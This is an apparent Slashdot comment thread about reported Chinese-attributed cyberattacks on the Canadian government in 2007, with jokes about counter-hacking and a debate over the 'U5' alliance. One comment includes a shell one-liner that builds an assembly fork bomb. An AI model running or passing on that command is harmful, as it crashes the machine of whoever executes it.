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Canadian Gov't Victim of Cyberattacks
courteaudotbiz writes "Canada and all members of the U5 (United States, Germany, United Kingdom, France and New-Zealand) state that they all suffered government-directed attacks between June and September 2007. These seemed to be Chinese government sponsored attacks." It's a Google translation, so it's a bit hard to read, but it seems to be a recurring story these last few months.
I'm sure we are returning the favor and have been for decades.
When is the US going to "Cyber invade" China? I'm not sure how exactly they would do it but I'm guessing it would involve telling people that they export viruses of mass destruction, letting people know it'll take a day or 2 to get the Chinese servers in line, and the backbones there will welcome them with open arms. The US will then be there for a month or 2 before they get someone in the government to call it off leaving the Chinese networks in the hands of a few ISP "Warlords" for a few years...
-Ours is the wisdom of Solomon, the magic of Merlyn, the fall of Icaris.
Hey, don't cyberattck me buddy!
Why not just make it legal for us to hack Chinese IP addresses? This could be fun!
Then once we have their systems they will negotiate.
This is all I could dig up really - seems to be some cyber-security e-commerce related group?
Whereas work in other areas of shared concern, such as international trade, is conducted in line with some "ground truths and principles," there is little by way of standards, laws, regulations, etc. to guide international cooperation between key partners on cyber security. Mr. Aisenberg argued that such cooperation could be especially fruitful between the so called "U5 Countries" - Canada, Great Britain, the United States, Australia, and New Zealand. As countries with a shared history, common language, and similar institutions and values, the U5 countries could work together and "develop a doctrine that they can all believe in," before moving policy, regulation, and legislation in that shared direction. In fact, Mr. Aisenberg emphasized that the democratic, liberal, free-market commitments common across the U5 countries are a logical starting point for cooperation, as they can anchor cooperation in common objectives and principles.
OK, OK I didn't RTFA. My way's better.
Spelling mistakes, grammatical errors, and stupid comments are intentional.
I'm surprised Google can do it at all. Removing the "u" from words like "color" is easy enough. But the hostile subtext in the Canadian niceness and politeness is hard for machines to render into American.
The further you get from the border, the harder it is to understand. Of course Canadians will deny it. But they'll do it politely.
http://en.wikipedia.org/wiki/UK-USA_Security_Agreement The UK-USA Security Agreement is an agreement or treaty that established an alliance of Anglosphere countries for the purpose of sharing intelligence. The alliance includes Australia, Canada, New Zealand, United Kingdom and the United States.
The community is derived from an intelligence sharing agreement between the United Kingdom and the United States signed immediately following the Second World War to capitalize on intelligence relationships built up during that conflict. This formalized the intelligence sharing agreement in the Atlantic charter, signed in 1941, following the cessation of the conflict.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Don't call me "buddy" friend!
Can anyone who knows more about this than me comment?
Oh, and regarding the "U5" debate, RTFA. From the article "We have had confirmation from our partners U5 (USA, Great Britain, Australia, New Zealand and Canada)" This corresponds to the UKUSA member countries.
sigs are for suckers
He's not your "friend", guy!
which is totally what she said
I submitted this story, and am a french Canadian. The google translation was not wrong, the article really stated "the U5 countries". I did some research after I posted, and found really NO INFORMATION about this "organization". Maybe it's just a term internally used by the Canadian secret services. I'm as confused as you all about the presence of N-Z on such a short list :-)
What if the Chinese gov simply told a bunch of lonely Chinese teenagers that they'd get access to playboy.com if they ran some scripts for them on the weekends?
anyhoot, here are the only "facts" from TFA:
- over 20 branches of CA gov hit
- "U5" is quoted from a note given to Stockwell Day
- link to China is unconfirmed by US and Canada
- in an unrelated case, Le Monde (France) traced attacks back to Chinese nodes
Even TFA doesn't include France and Germany in this "U5" boy band thing or whatever it is.
Welcome to Slashdot, where even the submitter doesn't need to RTFA.
We're part of the Anglosphere? Cool! Always wanted to see a sphere made out of angles.
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